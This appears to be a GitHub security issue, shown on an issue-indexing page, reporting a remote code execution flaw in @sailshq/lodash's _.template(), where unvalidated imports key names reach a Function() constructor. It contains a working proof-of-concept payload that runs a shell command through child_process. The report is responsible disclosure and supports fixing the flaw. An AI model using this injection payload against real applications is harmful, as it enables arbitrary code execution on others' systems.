balderdashy / balderdashy/sails

[SECURITY] Remote Code Execution via Unvalidated `imports` Key Names in `_.template()`

Open
#7,381 1 comment 0 reactions 0 assignees View on GitHub
Dominant language
JavaScript
Stars
22.8k
Forks
1.9k
PR merge metrics
No merged PRs in 30d

Description

Hi,

My name is Twan — I'm a security researcher, and while digging into how JavaScript libraries handle compiled/sandboxed code execution, I came across something in `@sailshq/lodash` I think is worth flagging to you directly.

### Summary

`@sailshq/lodash`'s `_.template()` validates the `variable` option against an identifier blocklist, but never applies the same check to the *key names* of the `imports` option before passing them as the parameter list of a `Function()` constructor call. An application that lets any part of an `imports` key name be attacker-influenced gets full remote code execution. This is the same sink upstream `lodash` fixed on 2026-03-31 (CVE-2026-4800) — this fork carries the older half of that fix but was never updated with the part that actually closes this hole.

### Details

`lib/index.js`:

```js
// line 160
var reForbiddenIdentifierChars = /[()=,{}\[\]\/\s]/;

// lines 11074-11075
importsKeys = keys(imports),
importsValues = baseValues(imports, importsKeys);

// line 11133 — variable IS validated
else if (reForbiddenIdentifierChars.test(variable)) {
...
}

// line 11161 — importsKeys is NOT validated
return Function(importsKeys, sourceURL + 'return ' + source).apply(undefined, importsValues);
```

`importsKeys` are spread directly as the parameter list of a `Function()` constructor call, with no character validation of any kind. The `reForbiddenIdentifierChars` blocklist exists in this codebase and is applied to the `variable` option (line 11133), but is never applied to `importsKeys`.

This is the exact sink upstream `lodash` (`lodash/lodash`) fixed in CVE-2026-4800.

### PoC

Tested on `@sailshq/lodash@3.10.7` (latest published version at time of report):

```js
const _ = require('@sailshq/lodash');

const key = '{ [(global.__RCE__=require("child_process").execSync("id").toString().trim(),0)]: x }';
const compiled = _.template('hi', { imports: { [key]: 1 } });
compiled({});

console.log(global.__RCE__);
```

Running this executes `id` and prints its output.

### Impact

Any application that passes attacker-influenced content into an `imports` key name of `_.template()`. This is the identical precondition shape as upstream lodash's own CVE-2026-4800 and underscore.js's CVE-2021-23358 (`settings.variable`) — both real, maintainer-patched CVEs on the same API family — so this is a recognized, credible threat model, not a hypothetical one specific to this fork.

### Affected versions

Confirmed present on `3.10.7` (latest published version at time of this report).

Contributor guide

Open the contributing guide

Research direction

Start in lib/index.js around lines 11074-11161 and run the reported _.template() PoC against the affected version. Trace how importsKeys reaches the Function() constructor, then compare the existing variable validation with the upstream CVE-2026-4800 fix. Done means attacker-controlled imports key names are rejected before the sink and regression coverage confirms the exploit no longer executes.

Written by the indexing model from the issue text.

Assessment

Tech stack
javascript
Domain
security
Issue type
Bug
Difficulty
4/5
Estimated time
3-5 days
Activity status
Quiet
Clarity
Clearly specified
Newbie friendliness
52/100

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.